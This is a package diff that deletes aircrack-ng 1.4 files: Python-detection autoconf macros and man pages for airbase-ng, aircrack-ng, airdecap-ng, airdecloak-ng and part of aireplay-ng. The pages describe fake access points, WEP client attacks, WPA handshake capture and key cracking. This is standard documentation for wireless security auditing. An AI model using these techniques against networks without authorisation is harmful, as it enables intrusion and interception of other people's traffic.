-    sys.stdout.write(sitedir)
-])], [pc_cv_python_site_dir=`./conftest`],
-     [AC_MSG_WARN([failed to run Python program])])
-     AC_LANG_POP(Python)[]dnl
-     case $pc_cv_python_site_dir in
-     $pc_py_prefix*)
-       pc__strip_prefix=`echo "$pc_py_prefix" | sed 's|.|.|g'`
-       pc_cv_python_site_dir=`echo "$pc_cv_python_site_dir" | sed "s,^$pc__strip_prefix/,,"`
-       ;;
-     *)
-       case $pc_py_prefix in
-         /usr|/System*) ;;
-         *)
-	  pc_cv_python_site_dir=lib/python$PYTHON_VERSION/site-packages
-	  ;;
-       esac
-       ;;
-     esac
-     ])
-AC_SUBST([pythondir], [\${prefix}/$pc_cv_python_site_dir])])# PC_PYTHON_CHECK_SITE_DIR
-
-# PC_PYTHON_SITE_PACKAGE_DIR
-# --------------------------
-# $PACKAGE directory under PYTHON_SITE_DIR
-AC_DEFUN([PC_PYTHON_SITE_PACKAGE_DIR],
-[AC_REQUIRE([PC_PYTHON_CHECK_SITE_DIR])[]dnl
-AC_SUBST([pkgpythondir], [\${pythondir}/$PACKAGE_NAME])])
-
-
-# PC_PYTHON_CHECK_EXEC_DIR
-# ------------------------
-# directory for installing python extension modules (shared libraries)
-AC_DEFUN([PC_PYTHON_CHECK_EXEC_DIR],
-[AC_REQUIRE([PC_PROG_PYTHON])AC_REQUIRE([PC_PYTHON_CHECK_EXEC_PREFIX])[]dnl
-  AC_CACHE_CHECK([for Python extension module directory],
-    [pc_cv_python_exec_dir],
-    [AC_LANG_PUSH(Python)[]dnl
-    if test "x$pc_cv_python_exec_prefix" = xNONE
-     then
-       pc_py_exec_prefix=$pc_cv_python_prefix
-     else
-       pc_py_exec_prefix=$pc_cv_python_exec_prefix
-     fi
-     AC_LINK_IFELSE([AC_LANG_PROGRAM([dnl
-import sys
-from platform import python_implementation
-# sysconfig in CPython 2.7 doesn't work in virtualenv
-# <https://github.com/pypa/virtualenv/issues/118>
-try:
-    import sysconfig
-except:
-    can_use_sysconfig = False
-else:
-    can_use_sysconfig = True
-if can_use_sysconfig:
-    if python_implementation() == "CPython" and sys.version[[:3]] == '2.7':
-        can_use_sysconfig = False
-if not can_use_sysconfig:        
-    from distutils import sysconfig
-    sitedir = sysconfig.get_python_lib(False, False, prefix='$pc_py__exec_prefix')
-else:
-    sitedir = sysconfig.get_path('purelib', vars={'platbase':'$pc_py_exec_prefix'})
-], [dnl
-    sys.stdout.write(sitedir)
-])], [pc_cv_python_exec_dir=`./conftest`],
-     [AC_MSG_WARN([failed to run Python program])])
-     AC_LANG_POP(Python)[]dnl
-     case $pc_cv_python_exec_dir in
-     $pc_py_exec_prefix*)
-       pc__strip_prefix=`echo "$pc_py_exec_prefix" | sed 's|.|.|g'`
-       pc_cv_python_exec_dir=`echo "$pc_cv_python_exec_dir" | sed "s,^$pc__strip_prefix/,,"`
-       ;;
-     *)
-       case $pc_py_exec_prefix in
-         /usr|/System*) ;;
-         *)
-	   pc_cv_python_exec_dir=lib/python$PYTHON_VERSION/site-packages
-	   ;;
-       esac
-       ;;
-     esac
-    ])
-AC_SUBST([pyexecdir], [\${exec_prefix}/$pc_cv_python_pyexecdir])]) #PY_PYTHON_CHECK_EXEC_LIB_DIR
-
-
-# PC_PYTHON_EXEC_PACKAGE_DIR
-# --------------------------
-# $PACKAGE directory under PYTHON_SITE_DIR
-AC_DEFUN([PC_PYTHON_EXEC_PACKAGE_DIR],
-[AC_REQUIRE([PC_PYTHON_CHECK_EXEC_DIR])[]dnl
-AC_SUBST([pkgpyexecdir], [\${pyexecdir}/$PACKAGE_NAME])])
-
-
-## -------------------------------------------- ##
-## 4. Looking for specific libs & functionality ##
-## -------------------------------------------- ##
-
-
-# PC_PYTHON_CHECK_MODULE(LIBRARY, [ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND])
-# ----------------------------------------------------------------------
-# Macro for checking if a Python library is installed
-AC_DEFUN([PC_PYTHON_CHECK_MODULE],
-[AC_REQUIRE([PC_PROG_PYTHON])[]dnl
-m4_define([pc_python_safe_mod], m4_bpatsubsts($1, [\.], [_]))
-AC_CACHE_CHECK([for Python '$1' library],
-    [[pc_cv_python_module_]pc_python_safe_mod],
-    [AC_LANG_PUSH(Python)[]dnl
-     AC_RUN_IFELSE(
-	[AC_LANG_PROGRAM([dnl
-import sys
-try:
-    import $1
-except:
-    sys.exit(1)
-else:
-    sys.exit(0)
-], [])],
-	[[pc_cv_python_module_]pc_python_safe_mod="yes"],
-	[[pc_cv_python_module_]pc_python_safe_mod="no"])
-     AC_LANG_POP(Python)[]dnl
-    ])
-AS_IF([test "$[pc_cv_python_module_]pc_python_safe_mod" = "no"], [$3], [$2])
-])# PC_PYTHON_CHECK_MODULE
-
-
-# PC_PYTHON_CHECK_FUNC([LIBRARY], FUNCTION, ARGS, [ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND])
-# ---------------------------------------------------------------------------------------
-# Check to see if a given function call, optionally from a module, can
-# be successfully called
-AC_DEFUN([PC_PYTHON_CHECK_FUNC],
-[AC_REQUIRE([PC_PROG_PYTHON])[]dnl
-m4_define([pc_python_safe_mod], m4_bpatsubsts($1, [\.], [_]))
-AC_CACHE_CHECK([for Python m4_ifnblank($1, '$1.$2()', '$2()') function],
-    [[pc_cv_python_func_]pc_python_safe_mod[_$2]],
-    [AC_LANG_PUSH(Python)[]dnl
-     AC_RUN_IFELSE(
-	[AC_LANG_PROGRAM([dnl
-import sys
-m4_ifnblank([$1], [dnl
-try:
-    import $1
-except:
-    sys.exit(1)
-], [])], 
-[
-m4_ifnblank([$1], [
-    try:
-        $1.$2($3)], [
-    try:
-        $2($3)])
-    except:
-        sys.exit(1)
-    else:
-        sys.exit(0)
-])],
-	[[pc_cv_python_func_]pc_python_safe_mod[_$2]="yes"],
-	[[pc_cv_python_func_]pc_python_safe_mod[_$2]="no"])
-     AC_LANG_POP(Python)[]dnl
-    ])
-AS_IF([test "$[pc_cv_python_func_]pc_python_safe_mod[_$2]" = "no"], [$5], [$4])
-])# PC_PYTHON_CHECK_FUNC

aircrack-ng-1.4.tar.gz/manpages/airbase-ng.8 Deleted

@@ -1,217 +0,0 @@
-.TH AIRBASE-NG 8 "September 2018" "Version 1.4"
-
-.SH NAME
-airbase-ng - multi-purpose tool aimed at attacking clients as opposed to the Access Point (AP) itself
-.SH SYNOPSIS
-.B airbase-ng
-[options] <interface name>
-.SH DESCRIPTION
-.BI airbase-ng
-is multi-purpose tool aimed at attacking clients as opposed to the Access Point (AP) itself. Since it is so versatile and flexible, summarizing it is a challenge. Here are some of the feature highlights: 
-.PP
-- Implements the Caffe Latte WEP client attack
-.br
-- Implements the Hirte WEP client attack
-.br
-- Ability to cause the WPA/WPA2 handshake to be captured
-.br
-- Ability to act as an ad-hoc Access Point
-.br
-- Ability to act as a full Access Point
-.br
-- Ability to filter by SSID or client MAC addresses
-.br
-- Ability to manipulate and resend packets
-.br
-- Ability to encrypt sent packets and decrypt received packets
-.PP
-The main idea is of the implementation is that it should encourage clients to associate with the fake AP, not prevent them from accessing the real AP. 
-
-A tap interface (atX) is created when airbase-ng is run. This can be used to receive decrypted packets or to send encrypted packets. 
-
-As real clients will most probably send probe requests for common/configured networks, these frames are important for binding a client to our softAP. In this case, the AP will respond to any probe request with a proper probe response, which tells the client to authenticate to the airbase-ng BSSID. That being said, this mode could possibly disrupt the correct functionality of many APs on the same channel. 
-.SH OPTIONS
-.PP
-.TP
-.I -H, --help
-Shows the help screen.
-.TP
-.I -a <bssid>
-If the BSSID is not explicitly specified by using "-a <BSSID>", then the current MAC of the specified interface is used.
-.TP
-.I -i <iface>
-Also capture and process from this interface in addition to the replay interface.
-.TP
-.I -w <WEP key>
-If WEP should be used as encryption, then the parameter "-w <WEP key>" sets the en-/decryption key. This is sufficient to let airbase-ng set all the appropriate flags by itself. 
-If the softAP operates with WEP encryption, the client can choose to use open system authentication or shared key authentication. Both authentication methods are supported by airbase-ng. But to get a keystream, the user can try to force the client to use shared key authentication. "-s" forces a shared key auth and "-S <len>" sets the challenge length.
-.TP
-.I -h <MAC>
-This is the source MAC for the man-in-the-middle attack. The "-M" must also be specified.
-.TP
-.I -f <disallow>
-If this option is not specified, it defaults to "-f allow". This means the various client MAC filters (-d and -D) define which clients to accept. 
-
-By using the "-f disallow" option, this reverses selection and causes airbase to ignore the clients specified by the filters.
-.TP
-.I -W <0|1>
-This sets the beacon WEP flag. Remember that clients will normally only connect to APs which are the same as themselves. Meaning WEP to WEP, open to open. 
-
-The "auto" option is to allow airbase-ng to automatically set the flag based on context of the other options specified. For example, if you set a WEP key with -w, then the beacon flag would be set to WEP. 
-
-One other use of "auto" is to deal with clients which can automatically adjust their connection type. However, these are few and far between. 
-
-In practice, it is best to set the value to the type of clients you are dealing with. 
-.TP
-.I -q
-This suppresses printing any statistics or status information.
-.TP
-.I -v
-This prints additional messages and details to assist in debugging.
-.TP
-.I -M
-This option is not implemented yet. It is a man-in-the-middle attack between specified clients and BSSIDs.
-.TP
-.I -A, --ad-hoc
-This causes airbase-ng to act as an ad-hoc client instead of a normal Access Point. 
-
-In ad-hoc mode airbase-ng also sends beacons, but doesn\(aqt need any authentication/association. It can be activated by using "-A". The soft AP will adjust all flags needed to simulate a station in ad-hoc mode automatically and generate a random MAC, which is used as CELL MAC instead of the BSSID. This can be overwritten by the "-a <BSSID>" tag. The interface MAC will then be used as source mac, which can be changed with "-h <sourceMAC>".
-.TP
-.I -Y <in|out|both>
-The parameter "-Y" enables the "external processing" Mode. This creates a second interface "atX", which is used to replay/modify/drop or inject packets at will. This interface must also be brought up with ifconfig and an external tool is needed to create a loop on that interface. 
-
-The packet structure is rather simple: the ethernet header (14 bytes) is ignored and right after that follows the complete ieee80211 frame the same way it is going to be processed by airbase-ng (for incoming packets) or before the packets will be sent out of the wireless card (outgoing packets). This mode intercepts all data packets and loops them through an external application, which decides what happens with them. The MAC and IP of the second tap interface doesn\(aqt matter, as real ethernet frames on this interface are dropped anyway. 
-
-There are 3 arguments for "-Y": "in", "out" and "both", which specify the direction of frames to loop through the external application. Obviously "in" redirects only incoming (through the wireless NIC) frames, while outgoing frames aren\(aqt touched. "out" does the opposite, it only loops outgoing packets and "both" sends all both directions through the second tap interface. 
-
-There is a small and simple example application to replay all frames on the second interface. The tool is called "replay.py" and is located in "./test". It\(aqs written in python, but the language doesn\(aqt matter. It uses pcapy to read the frames and scapy to possibly alter/show and reinject the frames. The tool as it is, simply replays all frames and prints a short summary of the received frames. The variable "packet" contains the complete ieee80211 packet, which can easily be dissected and modified using scapy. 
-
-This can be compared to ettercap filters, but is more powerful, as a real programming language can be used to build complex logic for filtering and packet customization. The downside on using python is, that it adds a delay of around 100ms and the cpu utilizations is rather large on a high speed network, but its perfect for a demonstration with only a few lines of code.
-.TP
-.I -c <channel>
-This is used to specify the channel on which to run the Access Point.
-.TP
-.I -X, --hidden
-This causes the Access Point to hide the SSID and to not broadcast the value.
-.TP
-.I -s
-When specfiied, this forces shared key authentication for all clients. 
-
-The soft AP will send an "authentication method unsupported" rejection to any open system authentication request if "-s" is specified.
-.TP
-.I -S
-It sets the shared key challenge length, which can be anything from 16 to 1480. The default is 128 bytes. It is the number of bytes used in the random challenge. Since one tag can contain a maximum size of 255 bytes, any value above 255 creates several challenge tags until all specified bytes are written. Many clients ignore values different than 128 bytes so this option may not always work.
-.TP
-.I -L, --caffe-latte
-Airbase-ng also contains the new caffe-latte attack, which is also implemented in aireplay-ng as attack "-6". It can be used with "-L" or "caffe-latte". This attack specifically works against clients, as it waits for a broadcast arp request, which happens to be a gratuitous arp. See this for an explanation of what a gratuitous arp is. It then flips a few bits in the sender MAC and IP, corrects the ICV (crc32) value and sends it back to the client, where it came from. The point why this attack works in practice is, that at least windows sends gratuitous arps after a connection on layer 2 is established and a static ip is set, or dhcp fails and windows assigned an IP out of 169.254.X.X. 
-
-"-x <pps>" sets the number of packets per second to send when performing the caffe-latte attack. At the moment, this attack doesn\(aqt stop, it continuously sends arp requests. Airodump-ng is needed to capture the replies.
-.TP
-.I -N, --cfrag
-This attack listens for an ARP request or IP packet from the client. Once one is received, a small amount of PRGA is extracted and then used to create an ARP request packet targeted to the client. This ARP request is actually made of up of multiple packet fragments such that when received, the client will respond. 
-
-This attack works especially well against ad-hoc networks. As well it can be used against softAP clients and normal AP clients.
-.TP
-.I -x <nbpps>
-This sets the number of packets per second that packets will be sent (default: 100).
-.TP
-.I -y
-When using this option, the fake AP will not respond to broadcast probes. A broadcast probe is where the specific AP is not identified uniquely. Typically, most APs will respond with probe responses to a broadcast probe. This flag will prevent this happening. It will only respond when the specific AP is uniquely requested.
-.TP
-.I -0
-This enables all WPA/WPA2/WEP Tags to be enabled in the beacons sent. It cannot be specified when also using -z or -Z.
-.TP
-.I -z <type>
-This specifies the WPA beacon tags. The valid values are: 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104.
-.TP
-.I -Z <type>
-same as -z, but for WPA2
-.TP
-.I -V <type>
-This specifies the valid EAPOL types. The valid values are: 1=MD5 2=SHA1 3=auto 
-.TP
-.I -F <prefix>
-This option causes airbase-ng to write all sent and received packets to a pcap file on disk. This is the file prefix (like airodump-ng -w).
-.TP
-.I -P
-This causes the fake access point to respond to all probes regardless of the ESSIDs specified.
-.TP
-.I -I <interval>
-This sets the time in milliseconds between each beacon.
-.TP
-.I -C <seconds>
-The wildcard ESSIDs will also be beaconed this number of seconds. A good typical value to use is "-C 60" (require -P).
-.TP
-.I -n <hex>
-ANonce (nonce from the AP) to use instead of a randomized one. It must be 64 hexadecimal characters.
-.PP
-.TP
-.B Filter options:
-.TP
-.I --bssid <MAC>, -b <MAC>
-BSSID to filter/use.
-.TP
-.I --bssids <file>, -B <file>
-Read a list of BSSIDs out of that file.
-.TP
-.I --client <MAC>, -d <MAC>
-MAC of client to accept.
-.TP
-.I --clients <file>, -D <file>
-Read a list of client\(aqs MACs out of that file.
-.TP
-.I --essid <ESSID>, -e <ESSID>
-Specify a single ESSID. For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
-.TP
-.I --essids <file>, -E <file>
-Read a list of ESSIDs out of that file. It will use the same BSSID for all AP which can generate some interesting output in Airodump-ng like: http://www.chimplabs.com/blog/2015/09/24/unintentional-fun-with-aircrack-ng-at-derbycon-5-0/
-.SH AUTHOR
-This manual page was written by Thomas d\(aqOtreppe.
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.PP
-.SH SEE ALSO
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/aircrack-ng.1 Deleted

@@ -1,211 +0,0 @@
-.TH AIRCRACK-NG 1 "September 2018" "Version 1.4"
-
-.SH NAME
-aircrack-ng - a 802.11 WEP / WPA-PSK key cracker
-.SH SYNOPSIS
-.B aircrack-ng
-[options] <input file(s)>
-.SH DESCRIPTION
-.BI aircrack-ng
-is an 802.11 WEP, 802.11i WPA/WPA2, and 802.11w WPA2 key cracking program.
-.PP
-It can recover the WEP key once enough encrypted packets have been captured with airodump-ng. This part of the aircrack-ng suite determines the WEP key using two fundamental methods. The first method is via the PTW approach (Pyshkin, Tews, Weinmann). The main advantage of the PTW approach is that very few data packets are required to crack the WEP key. The second method is the FMS/KoreK method. The FMS/KoreK method incorporates various statistical attacks to discover the WEP key and uses these in combination with brute forcing.
-.PP
-Additionally, the program offers a dictionary method for determining the WEP key. For cracking WPA/WPA2 pre-shared keys, a wordlist (file or stdin) or an airolib-ng has to be used.
-.SH INPUT FILES
-.TP
-Capture files (.cap, .pcap), IVS (.ivs) or Hascat HCCAPX files (.hccapx)
-.SH OPTIONS
-.TP
-.B Common options:
-.TP
-.I -a <amode>
-Force the attack mode: 1 or wep for WEP (802.11) and 2 or wpa for WPA/WPA2 PSK (802.11i and 802.11w).
-.TP
-.I -e <essid>
-Select the target network based on the ESSID. This option is also required for WPA cracking if the SSID is cloaked. For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
-.TP
-.I -b <bssid> or --bssid <bssid>
-Select the target network based on the access point MAC address.
-.TP
-.I -p <nbcpu>
-Set this option to the number of CPUs to use (only available on SMP systems). By default, it uses all available CPUs
-.TP
-.I -q
-If set, no status information is displayed.
-.TP
-.I -C <macs> or --combine <macs>
-Merges all those APs MAC (separated by a comma) into a virtual one.
-.TP
-.I -l <file>
-Write the key into a file. Overwrites the file if it already exists.
-.PP
-.TP
-.B Static WEP cracking options:
-.TP
-.I -c
-Search alpha-numeric characters only.
-.TP
-.I -t
-Search binary coded decimal characters only.
-.TP
-.I -h
-Search the numeric key for Fritz!BOX
-.TP
-.I -d <mask> or --debug <mask>
-Specify mask of the key. For example: A1:XX:CF
-.TP
-.I -m <maddr>
-Only keep the IVs coming from packets that match this MAC address. Alternatively, use \-m ff:ff:ff:ff:ff:ff to use all and every IVs, regardless of the network (this disables ESSID and BSSID filtering).
-.TP
-.I -n <nbits>
-Specify the length of the key: 64 for 40-bit WEP, 128 for 104-bit WEP, etc., until 512 bits of length. The default value is 128.
-.TP
-.I -i <index>
-Only keep the IVs that have this key index (1 to 4). The default behavior is to ignore the key index in the packet, and use the IV regardless.
-.TP
-.I -f <fudge>
-By default, this parameter is set to 2. Use a higher value to increase the bruteforce level: cracking will take more time, but with a higher likelihood of success.
-.TP
-.I -k <korek>
-There are 17 KoreK attacks. Sometimes one attack creates a huge false positive that prevents the key from being found, even with lots of IVs. Try \-k 1, \-k 2, ... \-k 17 to disable each attack selectively.
-.TP
-.I -x or -x0
-Disable last keybytes bruteforce (not advised).
-.TP
-.I -x1
-Enable last keybyte bruteforcing (default)
-.TP
-.I -x2
-Enable last two keybytes bruteforcing.
-.TP
-.I -X
-Disable bruteforce multithreading (SMP only).
-.TP
-.I -s
-Shows ASCII version of the key at the right of the screen.
-.TP
-.I -y
-This is an experimental single brute-force attack which should only be used when the standard attack mode fails with more than one million IVs.
-.TP
-.I -z
-Uses PTW (Andrei Pyshkin, Erik Tews and Ralf-Philipp Weinmann) attack (default attack).
-.TP
-.I -P <num> or --ptw-debug <num>
-PTW debug: 1 Disable klein, 2 PTW.
-.TP
-.I -K
-Use KoreK attacks instead of PTW.
-.TP
-.I -D or --wep-decloak
-WEP decloak mode.
-.TP
-.I -1 or --oneshot
-Run only 1 try to crack key with PTW.
-.TP
-.I -M <num>
-Specify maximum number of IVs to use.
-.TP
-.I -V or --visual-inspection
-Run in visual inspection mode. Can only be used when using KoreK.
-.PP
-.TP
-.B WEP and WPA-PSK cracking options
-.TP
-.I -w <words>
-Path to a dictionary file for wpa cracking. Separate filenames with comma when using multiple dictionaries. Specify "-" to use stdin. Here is a list of wordlists: https://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists
-In order to use a dictionary with hexadecimal values, prefix the dictionary with "h:". Each byte in each key must be separated by ':'. When using with WEP, key length should be specified using -n.
-.TP
-.I -N <file> or --new-session <file>
-Create a new cracking session. It allows to interrupt cracking session and restart at a later time (using -R or --restore-session). Status files are saved every 5 minutes. It does not overwrite existing session file.
-.TP
-.I -R <file> or --restore-session <file>
-Restore and continue a previously saved cracking session. This parameter is to be used alone, no other parameter should be specified when starting aircrack-ng (all the required information is in the session file).
-.PP
-.TP
-.B WPA-PSK options:
-.TP
-.I -E <file>
-Create Elcomsoft Wireless Security Auditor (EWSA) Project file v3.02.
-.TP
-.I -j <file>
-Create Hashcat v3.6+ Capture file (HCCAPX).
-.TP
-.I -J <file>
-Create Hashcat Capture file (HCCAP).
-.TP
-.I -S
-WPA cracking speed test.
-.TP
-.I -Z <sec>
-WPA cracking speed test execution length in seconds.
-.TP
-.I -r <database>
-Path to the airolib-ng database. Cannot be used with \(aq-w\(aq.
-.PP
-.TP
-.B SIMD selection:
-.TP
-.I --simd=<option>
-Aircrack-ng automatically loads and uses the fastest optimization based on instructions available for your CPU. This options allows to force another optimization. Choices depend on the CPU and the following are all the possibilities that may be compiled regardless of the CPU type: generic, sse2, avx, avx2, avx512, neon, asimd, altivec, power8.
-.TP
-.I --simd-list
-Shows a list of the available SIMD architectures, separated by a space character. Aircrack-ng automatically selects the fastest optimization and thus it is rarely needed to use this option. Use case would be for testing purposes or when a "lower" optimization, such as "generic", is faster than the automatically selected one. Before forcing a SIMD architecture, verify that the instruction is supported by your CPU, using \-u.
-.PP
-.TP
-.B Other options:
-.TP
-.I -H or --help
-Show help screen
-.TP
-.I -u or --cpu-detect
-Provide information on the number of CPUs and MMX/SSE support
-.SH AUTHOR
-This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/airdecap-ng.1 Deleted

@@ -1,89 +0,0 @@
-.TH AIRDECAP-NG 1 "September 2018" "Version 1.4"
-
-.SH NAME
-airdecap-ng - decrypt a WEP/WPA crypted pcap file
-.SH SYNOPSIS
-.B airdecap-ng
-[options] <pcap file>
-.SH DESCRIPTION
-.BI airdecap-ng
-decrypts a WEP/WPA crypted pcap file to a unencrypted one by using the right WEP/WPA keys.
-.SH OPTIONS
-.TP
-.I -H, --help
-Shows the help screen.
-.TP
-.I -l
-Do not remove the 802.11 header.
-.TP
-.I -b <bssid>
-Access point MAC address filter.
-.TP
-.I -k <pmk>
-WPA Pairwise Master Key in hex.
-.TP
-.I -e <essid>
-Target network SSID. For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
-.TP
-.I -p <pass>
-Target network WPA passphrase.
-.TP
-.I -w <key>
-Target network WEP key in hex.
-.SH EXAMPLES
-airdecap-ng \-b 00:09:5B:10:BC:5A open-network.cap
-.br
-airdecap-ng \-w 11A3E229084349BC25D97E2939 wep.cap
-.br
-airdecap-ng \-e my_essid \-p my_passphrase tkip.cap
-.br
-.SH AUTHOR
-This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)
-

aircrack-ng-1.4.tar.gz/manpages/airdecloak-ng.1 Deleted

@@ -1,114 +0,0 @@
-.TH AIRDECLOAK-NG 1 "September 2018" "Version 1.4"
-
-.SH NAME
-airuncloak-ng - Removes wep cloaked framed from a pcap file.
-.SH SYNOPSIS
-.B airuncloak-ng
-<options>
-.SH DESCRIPTION
-.BI airuncloak-ng
-is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) can actively "prevent" cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff.
-
-The program works by reading the input file and selecting packets from a specific network.
-Each selected packet is put into a list and classified (default status is "unknown"). Filters are then applied (in the order specified by the user) on this list. They will change the status of the packets (unknown, uncloaked, potentially cloaked or cloaked).
-The order of the filters is really important since each filter will base its analysis amongst other things on the status of the packets and different orders will give different results.
-
-Important requirement: The pcap file needs to have all packets (including beacons and all other "useless" packets) for the analysis (and if possible, prism/radiotap headers).
-.SH OPTIONS
-.PP
-.TP
-.I -h, --help
-Shows the help screen.
-.TP
-.I -i <file>
-Path to the capture file.
-.TP
-.I --ssid <ESSID>
-Essid of the network (not yet implemented) to filter.
-.TP
-.I --bssid <BSSID>
-BSSID of the network to filter.
-.TP
-.I --null-packets
-Assume that null packets can be cloaked.
-.TP
-.I --disable-base-filter
-Do not apply base filter.
-.TP
-.I --drop-frag
-Drop fragmented packets.
-.TP
-.I --filters <filters>
-Apply different filters (separated by a comma). See below.
-.SH FILTERS
-.PP
-.TP
-.I signal
-Try to filter based on signal (prism or radiotap headers in the pcap file).
-.TP
-.I duplicate_sn
-Remove all duplicate sequence numbers for both the AP and the client (that are close to each other).
-.TP
-.I duplicate_sn_ap
-Remove duplicate sequence number for the AP only (that are close to each other).
-.TP
-.I duplicate_sn_client
-Remove duplicate sequence number for the client only (that are close to each other).
-.TP
-.I consecutive_sn
-Filter based on the fact that IV should be consecutive (only for AP).
-.TP
-.I duplicate_iv
-Filter out all duplicate IV.
-.TP
-.I signal_dup_consec_sn
-Use signal (if available), duplicate and consecutive sequence number (filtering is much more precise than using all these filters one by one).
-.SH AUTHOR
-This manual page was written by Thomas d\(aqOtreppe.
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/aireplay-ng.8 Deleted

@@ -1,256 +0,0 @@
-.TH AIREPLAY-NG 8 "September 2018" "Version 1.4"
-
-.SH NAME
-aireplay-ng - inject packets into a wireless network to generate traffic
-.SH SYNOPSIS
-.B aireplay-ng
-[options] <replay interface>
-.SH DESCRIPTION
-.B aireplay-ng
-is used to inject/replay frames.
-The primary function is to generate traffic for the later use in aircrack-ng for cracking the WEP and WPA-PSK keys. There are different attacks which can cause deauthentications for the purpose of capturing WPA handshake data, fake authentications, Interactive packet replay, hand-crafted ARP request injection and ARP-request reinjection. With the packetforge-ng tool it\(aqs possible to create arbitrary frames.
-.br
-.PP
-.B aireplay-ng
-supports single-NIC injection/monitor.
-.PP
-This feature needs driver patching.
-.PP
-.SH OPTIONS
-.TP
-.I -H, --help
-Shows the help screen.
-.PP
-.TP
-.B Filter options:
-.TP
-.I -b <bssid>
-MAC address of access point.
-.TP
-.I -d <dmac>
-MAC address of destination.
-.TP
-.I -s <smac>
-MAC address of source.
-.TP
-.I -m <len>
-Minimum packet length.
-.TP
-.I -n <len>
-Maximum packet length.
-.TP
-.I -u <type>
-Frame control, type field.
-.TP
-.I -v <subt>
-Frame control, subtype field.
-.TP
-.I -t <tods>
-Frame control, "To" DS bit (0 or 1).
-.TP
-.I -f <fromds>
-Frame control, "From" DS bit (0 or 1).
-.TP
-.I -w <iswep>
-Frame control, WEP bit (0 or 1).
-.TP
-.I -D 
-Disable AP Detection.
-.PP
-.TP
-.B Replay options:
-.TP
-.I -x <nbpps>
-Number of packets per second.
-.TP
-.I -p <fctrl>
-Set frame control word (hex).
-.TP
-.I -a <bssid>
